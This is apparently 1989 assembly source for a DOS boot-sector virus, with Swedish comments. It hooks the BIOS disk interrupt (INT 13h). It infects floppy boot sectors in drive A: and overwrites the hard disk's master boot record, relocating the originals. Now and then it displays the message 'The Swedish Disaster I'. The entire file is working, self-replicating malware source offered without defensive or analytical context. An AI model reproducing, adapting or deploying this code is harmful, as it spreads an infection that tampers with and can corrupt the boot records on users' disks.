; Senast „ndrad 891213. ; ; L„gger gamla bootsectorn p† sida 1, sp†r 0, sector 3. ; sida 0, sp†r 0, sector 7 p† HD. Code Segment Assume cs:Code Org 0000h Main Proc Far db 0EAh,05h,00h,0C0h,07h jmp Near Ptr Init ; Hoppa f”rbi variabler och nya int13h ; Variabler Old13h dd 0 ; Gamla vectorn till diskfunktionerna. TmpVec dd 0 ; Tempor„r vec. vid „ndring av int 13. BootPek dw 0003h,0100h ; Slut p† variabler Int13h Proc Near push ds push ax push bx cmp dl,00h ; Drive A jne Exit cmp ah,02h jb Exit cmp ah,04h ja Exit ; Kolla s† att func. 2-4 sub ax,ax mov ds,ax mov bx,043Fh ; Motor status byte. test Byte Ptr [bx],01h ; Testa om motorn i A: „r p†.. jnz Exit ; Nej,hoppa till gamla int 13h call Smitta Exit: pop bx pop ax pop ds jmp [Old13h] Smitta Proc Near push cx push dx push si push di push es push cs pop es push cs pop ds mov si,0004h ; Max antal f”rs”k. Retry: mov ax,0201h ; L„s en sector mov bx,0200h ; L„s hit. mov cx,0001h ; Sp†r 0 Sector 1 sub dx,dx ; Sida 0 Drive 0 pushf call [Old13h] ; L„s in booten. jnc OK dec si jz Slut ; Hoppa ur om fel. jmp Retry ; F”rs”k max 4 g†nger. OK: mov si,0200h sub di,di cld lodsw cmp ax,[di] jne L2 lodsw cmp ax,[di+2] jne L2 jmp Slut L2: mov ax,0301h ; Skriv en sector. mov bx,0200h mov cx,0003h ; Sp†r 0 Sector 3 mov dx,0100h ; Sida 1 Drive 0 pushf call [Old13h] ; Flytta boot sectorn. mov ax,0301h sub bx,bx mov cx,0001h sub dx,dx pushf call [Old13h] ; Skriv ner viruset till booten. Slut: pop es pop di pop si pop dx pop cx ret Smitta Endp Int13h Endp Init: sub ax,ax mov ds,ax ; Nollar ds f”r att „ndra vect. cli mov ss,ax mov sp,7C00h sti ; S„tter upp en ny stack. push cs pop es mov di,Offset Old13h mov si,004Ch mov cx,0004h cld rep movsb ; Flytta int 13h vectorn. mov bx,0413h mov ax,[bx] ; Minnesstorleken till ax. dec ax dec ax mov [bx],ax ; Reservera plats f”r viruset. mov cl,06h shl ax,cl mov es,ax ; Omvandla till segment addres. mov Word Ptr TmpVec,Offset Int13h mov Word Ptr TmpVec+2,es push es sub ax,ax mov es,ax push cs pop ds mov si,Offset TmpVec mov di,004Ch mov cx,0004h rep movsb pop es sub si,si mov di,si mov cx,0200h ; Hela viruset + lite till. rep movsb mov ax,Offset Here push es push ax ret ; Hoppa till viruset. Here: sub ax,ax int 13h ; Źterst„ll driven sub ax,ax mov es,ax mov ax,0201h ; L„s en sector funk. mov bx,7C00h ; Hit laddas booten normalt. mov cx,BootPek mov dx,BootPek+2 int 13h push cs pop es mov ax,0201h mov bx,0200h mov cx,0001h mov dx,0080h int 13h ; L„s in partions tabellen. jc Over push cs pop ds mov si,0200h sub di,di lodsw cmp ax,[di] ; Kolla om den „r smittad. jne HdInf lodsw cmp ax,[di+2] jne HdInf Over: mov BootPek,0003h mov BootPek+2,0100h sub bx,bx push bx mov bx,7C00h push bx ret ; K”r den gamla booten. HdInf: mov BootPek,0007h mov BootPek+2,0080h mov ax,0301h mov bx,0200h mov cx,0007h mov dx,0080h int 13h ; Flytta orgin. part.tabellen. jc Over push cs pop ds push cs pop es mov si,03BEh mov di,01BEh mov cx,0042h cld rep movsb ; Kopiera part. data till viruset. mov ax,0301h sub bx,bx mov cx,0001h mov dx,0080h int 13h ; Skriv viruset till part. tabellen. sub ax,ax mov es,ax ; Kolla om msg:et ska skrivas ut. test Byte Ptr es:[046Ch],07h jnz HdInf1 mov si,Offset Txt ; Detta utf”rs bara om man bootar fr†n cld ; diskett. Foo1: lodsb cmp al,00h je HdInf1 mov ah,0Eh sub bx,bx int 10h jmp Foo1 HdInf1: jmp Over Slutet Label Byte ; Anv„nds f”r att veta var slutet „r. Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h Main Endp Code Ends End